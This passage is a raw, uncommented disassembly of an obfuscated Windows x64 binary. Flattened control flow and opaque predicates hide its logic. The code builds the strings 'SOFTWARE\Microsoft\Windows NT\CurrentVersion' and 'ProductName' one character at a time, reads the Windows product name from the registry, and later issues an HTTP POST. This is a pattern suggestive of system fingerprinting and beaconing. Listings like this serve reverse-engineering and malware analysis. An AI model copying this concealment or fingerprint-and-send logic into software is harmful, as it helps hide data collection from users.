and ecx, 0xe75dfe1f
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa2146802
xor ecx, 0x200040
or ecx, 0x5d8b87b9
mov edi, edx
not edi
mov esi, ecx
and esi, 0x44c2120d
and ebx, 0xa2346842
or ebx, esi
or ecx, edi
and edi, 0x44c2120d
and edx, 0xbb3dedf2
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x20a957a
and ecx, 0xfdf56a85
or ecx, edx
mov edx, ecx
xor edx, 0x4e801200
mov ebx, ecx
xor ebx, 0xa07eed3c
mov edi, ecx
xor edi, 0x4ed8b608
and edi, ebx
and edx, 0xeea65b34
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xeea65b35
and edx, 0x1159a4ca
or edx, edi
and ebx, 1
xor ecx, 0xa07eed3d
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x2b6f5439
and ecx, 0xd490abc6
or ecx, ebx
xor ecx, 0xd490abc6
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc668afbc
and ecx, 0x39975043
or ecx, edx
mov edx, ecx
xor edx, 0x10024000
xor ecx, 0xc44806b0
and ecx, 0xeddd16f3
and edx, 0x1222e90c
or edx, ecx
mov ecx, edx
xor ecx, 0xc5d81293
xor edx, 0x2028008
and ecx, 0xd5f87b97
and edx, 0x2a078468
or edx, ecx
xor edx, 0x2a078468
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r9b
and r8b, al
or al, r9b
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
and cl, r9b
or cl, r8b
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0xeb23e01f
mov eax, 0xfb669c80
cmovne ebx, eax
test cl, cl
mov eax, 0xeb23e01f
jmp 0x140018997
cmp eax, 0xeedaa873
jle 0x140018089
cmp eax, 0xeedaa874
je 0x14001ae74
cmp eax, 0xf37a1b1f
je 0x14001b06e
cmp eax, 0xf57a1ceb
jne 0x140014ac0
mov eax, dword [rbp - 0x70]
mov dword [rbp + 0x118], eax
mov rax, qword [rbp + 0xc0]
mov ecx, dword [0x1400640e4]
mov esi, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc9a1c839
and edx, 0x365e37c6
or edx, ecx
mov ebx, edx
xor ebx, 0x22162046
xor edx, 0x4021c029
and edx, 0x5469d7a9
and ebx, 0xab962856
or ebx, edx
mov ecx, ebx
xor ecx, 0x5469d7a9
xor ebx, 0x2b000040
mov edi, ecx
and edi, 0xfffffffe
and ebx, 0x2f201449
and ecx, 0xd0dfebb6
or ecx, ebx
xor ecx, 0xd0dfebb7
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x48836a04
mov ebx, ecx
and ebx, 0x10180002
or ebx, edx
xor ebx, 0x10180002
and ecx, 0xa76495f9
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa76495f9
and ecx, 0x589b6a06
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa7d76bb5
and ecx, 0x5828944a
or ecx, edx
mov edx, ecx
xor edx, 0x81048
xor ecx, 0x80854a05
and ecx, 0xd8a5ce07
and edx, 0x275a31f8
or edx, ecx
xor edx, 0x275a31f8
sete r8b
setne dl
cmp esi, 0xa
setl bl
cmp esi, 9
setg cl
mov eax, ecx
and al, dl
and r8b, cl
xor cl, dl
or cl, al
mov eax, ecx
not al
and bl, dl
or bl, r8b
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xe213b2
mov edx, 0xeedaa874
cmovne eax, edx
test cl, cl
mov ecx, 0xe213b2
cmovne eax, ecx
jmp 0x14001c960
cmp eax, 0x1309abfc
je 0x140018445
cmp eax, 0x13f66c56
je 0x1400185cc
cmp eax, 0x1550b5d2
jne 0x140014ac0
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x58]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x50]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x50]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x50]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x50]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x24], 0x5c
mov word [rsi], 0x53
mov rax, qword [rbp - 0x50]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x50]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x50]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2a], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2c], 0x64
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4c], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4e], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x50], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x52], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x54], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x56], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x50]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x50]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x50]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x50]
mov word [rax + 0x26], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0x28], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x30], 0x77
mov rax, qword [rbp - 0x50]
mov word [rax + 0x32], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x34], 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3c], 0x43
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3e], 0x75
mov rax, qword [rbp - 0x50]
mov word [rax + 0x40], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x42], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x44], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x46], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x48], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4a], 0x56
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x36], 0x4e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x38], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3a], 0x5c
mov rax, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rdi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov word [rax + 4], 0x6f
mov rax, qword [rbp - 0x48]
mov word [rax + 6], 0x64
mov word [rdi], 0x50
mov rax, qword [rbp - 0x48]
mov word [rax + 2], 0x72
mov rax, qword [rbp - 0x48]
mov word [rax + 0x10], 0x61
mov rax, qword [rbp - 0x48]
mov word [rax + 0x12], 0x6d
mov rax, qword [rbp - 0x48]
mov word [rax + 0x14], 0x65
mov rax, qword [rbp - 0x48]
mov word [rax + 8], 0x75
mov rax, qword [rbp - 0x48]
mov word [rax + 0xa], 0x63
mov rax, qword [rbp - 0x48]
mov word [rax + 0xc], 0x74
mov rax, qword [rbp - 0x48]
mov word [rax + 0xe], 0x4e
mov rax, qword [rbp - 0x58]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140069140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, rsi
mov r8, rdi
mov r9d, 0xffff
call qword [0x140069338]
add rsp, 0x40
mov eax, 0xc26541fb
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x38001321
jg 0x1400180db
cmp eax, 0x366bdaa9
je 0x14001b271
cmp eax, 0x36c5a1c1
jne 0x140014ac0
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rsi, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rsi
mov r8d, 0xfa
call qword [0x140064008]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rsi
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x140069340]
mov r8d, 0x32
xor r9d, r9d
call fcn.140042b30
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
and edx, 0xade17fdf
and ecx, 0x521e8020
or ecx, edx
mov edx, ecx
xor edx, 0x521e8020
xor ecx, 0xade17fdf
and ecx, edi
not edi
and edx, edi
or ecx, edx
xor edi, ecx
test edi, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov ecx, 0x317cd382
mov eax, 0x864114dc
cmovne ecx, eax
test bl, bl
mov eax, ecx
mov ebx, 0x317cd382
jmp 0x14001ae6a
cmp eax, 0xfa662242
jg 0x140018289
cmp eax, 0xf730b1c9
je 0x14001b3ae
cmp eax, 0xf8bbcf9e
jne 0x140014ac0
mov eax, 0xbfb41029
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x858390a5
jg 0x1400182c2
cmp eax, 0x80edf5c3
je 0x14001b4b6
cmp eax, 0x84292be3
jne 0x140014ac0
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x28]
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x7c87dbc4
and edx, ecx
not ecx
and ecx, 0x2c87db04
and eax, 0x500000c0
or eax, ecx
xor eax, 0x500000c0
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x5475373
and edx, 0xfab8ac8c
or edx, eax
mov eax, edx
xor eax, 0x863f7748
mov ecx, edx
xor ecx, 0x863f7749
and ecx, eax
xor edx, 0x8a6
and edx, 0x338a6
and eax, 0xfffcc759
or eax, edx
xor eax, 0xfffcc758
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xbecad794
and eax, 0x4135286b
or eax, ecx
mov ecx, eax
xor ecx, 0x134082b
xor eax, 0xbecad794
mov edx, eax
and edx, 0x5acbe354
and ecx, 0xa5341cab
or ecx, edx
xor ecx, 0xa5341cab
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x1400640e8], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
xor al, 1
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x94f49f2a
mov ebx, 0x894083c6
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0x94f49f2a
jmp 0x14001c3d9
cmp eax, 0xc4b4a6c8
jg 0x140018369
cmp eax, 0xc1e3359d
je 0x14001b654
cmp eax, 0xc26541fb
jne 0x140014ac0
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp - 0x58]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov r13, qword [rbp - 0x50]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, r13
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x50]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x50]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x50]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x24], 0x5c
mov word [r13], 0x53
mov rax, qword [rbp - 0x50]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x50]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x50]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2a], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2c], 0x64
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4c], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4e], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x50], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x52], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x54], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x56], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x50]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x50]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x50]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x50]
mov word [rax + 0x26], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0x28], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x30], 0x77
mov rax, qword [rbp - 0x50]
mov word [rax + 0x32], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x34], 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3c], 0x43
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3e], 0x75
mov rax, qword [rbp - 0x50]
mov word [rax + 0x40], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x42], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x44], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x46], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x48], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4a], 0x56
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x36], 0x4e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x38], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3a], 0x5c
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rsi, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov word [rax + 4], 0x6f
mov rax, qword [rbp - 0x48]
mov word [rax + 6], 0x64
mov word [rsi], 0x50
mov rax, qword [rbp - 0x48]
mov word [rax + 2], 0x72
mov rax, qword [rbp - 0x48]
mov word [rax + 0x10], 0x61
mov rax, qword [rbp - 0x48]
mov word [rax + 0x12], 0x6d
mov rax, qword [rbp - 0x48]
mov word [rax + 0x14], 0x65
mov rax, qword [rbp - 0x48]
mov word [rax + 8], 0x75
mov rax, qword [rbp - 0x48]
mov word [rax + 0xa], 0x63
mov rax, qword [rbp - 0x48]
mov word [rax + 0xc], 0x74
mov rax, qword [rbp - 0x48]
mov word [rax + 0xe], 0x4e
mov rax, qword [rbp - 0x58]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140069140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, r13
mov r13d, 0xfa662243
mov r8, rsi
mov r9d, 0xffff
call qword [0x140069338]
add rsp, 0x40
test eax, eax
setne byte [rbp + 0x67]
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
or ecx, 0x9720805e
and edi, 0x9720805e
and ebx, 0x68df7fa0
or ebx, edi
and ecx, 0x9720805f
xor ecx, ebx
not ecx
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x32b8d1fd
and ecx, 0xcd472e02
or ecx, edx
xor ecx, 0xcd472e02
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and dl, al
mov ebx, ecx
xor bl, r8b
and bl, cl
and cl, r8b
or cl, dl
xor al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x1550b5d2
mov ebx, 0x482c16fe
cmovne eax, ebx
test dl, dl
mov edx, 0x1550b5d2
cmove eax, edx
jmp 0x1400193aa
cmp eax, 0x51c5cd77
je 0x14001b7bf
cmp eax, 0x55ac4716
jne 0x140014ac0
movups xmmword [0x14006922a], xmm6
movaps xmmword [0x140069220], xmm6
movaps xmmword [0x140069210], xmm6
movaps xmmword [0x140069200], xmm6
movaps xmmword [0x1400691f0], xmm6
movaps xmmword [0x1400691e0], xmm6
movaps xmmword [0x1400691d0], xmm6
movaps xmmword [0x1400691c0], xmm6
movaps xmmword [0x1400691b0], xmm6
movaps xmmword [0x1400691a0], xmm6
movaps xmmword [0x140069190], xmm6
movaps xmmword [0x140069180], xmm6
movaps xmmword [0x140069170], xmm6
movaps xmmword [0x140069160], xmm6
movaps xmmword [0x140069150], xmm6
movaps xmmword [0x140069140], xmm6
sub rsp, 0x20
lea rcx, [0x140069140]
lea rdx, str.unknown
call fcn.1400436a4
add rsp, 0x20
mov eax, 0xc1e3359d
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x2a3420ef
je 0x14001b7db
cmp eax, 0x2ba32ba2
jne 0x140014ac0
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, edi
mov ebx, ecx
not ebx
mov esi, edi
and esi, 0x3d33ae93
and edx, 0xc2cc516c
or edx, esi
or edi, ebx
and ebx, 0x3d33ae93
and ecx, 0xc2cc516c
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
mov edx, edi
xor edx, 0x815abf21
and edx, ecx
mov eax, ecx
or eax, 0x815abf21
mov esi, eax
not esi
mov ebx, edx
not ebx
mov r9d, ebx
and r9d, 0x7538131f
and edx, 0x8ac7ece0
or edx, r9d
or ebx, eax
and eax, 0x7538131f
and esi, 0xa8540c0
or esi, eax
xor esi, edx
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0x7ea540df
and ebx, 0x815abf20
or ebx, eax
and edi, 0x129d7652
mov eax, ecx
and eax, 0xed6289ad
or eax, edi
xor eax, 0x129d7653
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd8c77f82
and ecx, 0x2738807d
or ecx, eax
xor ecx, 0x2738807d
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x24185c2c
and edx, ecx
and ecx, 0xdbe7a3d3
or ecx, eax
mov eax, ecx
xor eax, 0x11608352
xor ecx, 0x24185c2c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xea8f24a9
and eax, 0x1570db56
or eax, edi
or ecx, ebx
and ebx, 0xea8f24a9
and edx, 0x1570db56
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
sete cl
setne dl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and dl, bl
mov eax, r9d
and al, cl
or al, dl
xor al, 1
or al, bl
mov r10d, eax
xor r10b, 1
xor cl, r9b
mov r8d, ecx
xor r8b, 1
mov r11d, ecx
and r11b, r8b
mov edx, r11d
xor r11b, cl
mov r9d, r10d
xor r9b, cl
or cl, r10b
and r10b, al
xor r10b, 1
mov ebx, r10d
xor bl, al
or r10b, al
xor r10b, 1
or r10b, bl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r11b
mov eax, r10d
xor al, 1
and al, dl
xor dl, 1
and dl, r10b
or dl, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x8b97a1c4
mov eax, 0x6dc86ea6
cmovne ebx, eax
test cl, 1
mov eax, 0x8b97a1c4
jmp 0x140018997
cmp eax, 0x9e290845
je 0x14001b815
cmp eax, 0x9e30b4ca
jne 0x140014ac0
cmp byte [rbp + 0x117], 0
mov eax, 0x84292be3
mov ecx, 0xf730b1c9
jmp 0x14001cca4
cmp eax, 0xdd3884bb
je 0x14001b82b
cmp eax, 0xdd8f7636
jne 0x140014ac0
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, edx
not ebx
and eax, 0xe279eaf9
and ecx, 0x1d861506
or ecx, eax
xor ecx, 0x1d861506
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
sete r8b
cmp dword [0x1400640e8], 0xa
setl cl
xor r8b, cl
mov edx, r8d
xor dl, 1
xor cl, dl
not cl
and cl, dl
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
mov r9d, eax
and r9b, cl
xor al, cl
or al, r9b
mov ecx, eax
xor cl, 1
and cl, r8b
and al, dl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x51c5cd77
mov ebx, 0xdd3884bb
cmovne edx, ebx
test al, al
cmove edx, ebx
not cl
test cl, 1
mov eax, 0x51c5cd77
cmovne edx, eax
jmp 0x14001bee3
cmp eax, 0x446dc281
je 0x14001b840
cmp eax, 0x44e48b99
jne 0x140014ac0
mov eax, 0x2f5adb1d
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xe213b2
je 0x14001b855
cmp eax, 0x55fc8d4
jne 0x140014ac0
cmp byte [rbp + 0x87], 0
mov eax, 0x10fae2b8
mov ecx, 0x80edf5c3
jmp 0x14001cca4
cmp eax, 0x8fe31ca5
je 0x14001b870
cmp eax, 0x91dce0e7
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x62a488e4
mov edx, edi
and edx, 0x141200b
or edx, ebx
mov ebx, edx
xor ebx, 0x1402002
xor edx, 0xfebedff4
mov ecx, edi
xor ecx, 0x63e5a8ef
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x38374de9
and ebx, 0x43c0a006
or ebx, esi
or edx, eax
and eax, 0x38374de9
and ecx, 0xc7c8b216
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x9c6e0fd6
and edx, 0x6391f029
or edx, eax
mov eax, edx
xor eax, 0x41005
and r9d, 0x7fd6b966
and edi, 0x80294699
or edi, r9d
mov ecx, edi
xor ecx, 0x411
xor edx, 0xff8ba738
mov ebx, edx
and ebx, 0xd7f9eaca
and eax, 0x28061535
or eax, ebx
xor edi, 0x57d0a842
and edi, 0xd7f9eaca
and ecx, 0x28061535
or ecx, edi
xor ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
and r9b, bl
or bl, cl
xor bl, 1
or bl, al
and dl, cl
or dl, r9b
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3d75dced
mov ebx, 0x366bdaa9
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
jmp 0x1400173e9
cmp eax, 0xd2dcb093
je 0x14001ba10
cmp eax, 0xd35b2d61
jne 0x140014ac0
mov eax, 0xec6607a5
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x6f817525
je 0x14001ba4c
cmp eax, 0x7215cfe5
jne 0x140014ac0
mov rsi, qword [0x1400640f0]
sub rsp, 0x20
lea rdi, [0x140063b60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rsi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x1400640f8]
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x26000108
mov ebx, ecx
and ebx, 0x500a4011
or ebx, edx
xor ebx, 0x500a4011
and ecx, 0x89f5bee6
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x89f5bee6
and ecx, 0x760a4119
or ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
or edx, 0x81b0c463
mov edi, edx
not edi
mov esi, ecx
xor esi, 0x7e4f3b9c
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0x3a1c8fc7
and edi, 0x44433018
or edi, ebx
or edx, eax
and eax, 0x3a1c8fc7
and esi, 0xc5e37038
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0xf1a8785d
and edx, 0xe5787a2
or edx, eax
xor edx, 0x7018bc3f
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x481d6ce5
and ecx, 0xb7e2931a
or ecx, eax
xor ecx, 0xb7e2931a
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xe0fcc17a
and edx, ecx
and ecx, 0x1f033e85
or ecx, eax
mov eax, ecx
xor eax, 0x1a032284
xor ecx, 0xe0fcc17a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x85ac1c01
and eax, 0x7a53e3fe
or eax, edi
or ecx, ebx
and ebx, 0x85ac1c01
and edx, 0x7a53e3fe
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
sete r9b
setne dl
cmp r8d, 0xa
setl cl
mov r10d, ecx
xor r10b, dl
cmp r8d, 9
setg al
and dl, cl
or cl, r9b
xor cl, 1
and al, r9b
or al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
and cl, r10b
mov ebx, r10d
and bl, al
xor al, r10b
xor r10b, 1
xor dl, 1
and dl, r10b
or dl, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf8bbcf9e
mov ebx, 0xa00c82b2
cmovne eax, ebx
test dl, dl
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0xf8bbcf9e
jmp 0x14001cca4
cmp eax, 0xb1e1a6b1
je 0x14001bbed
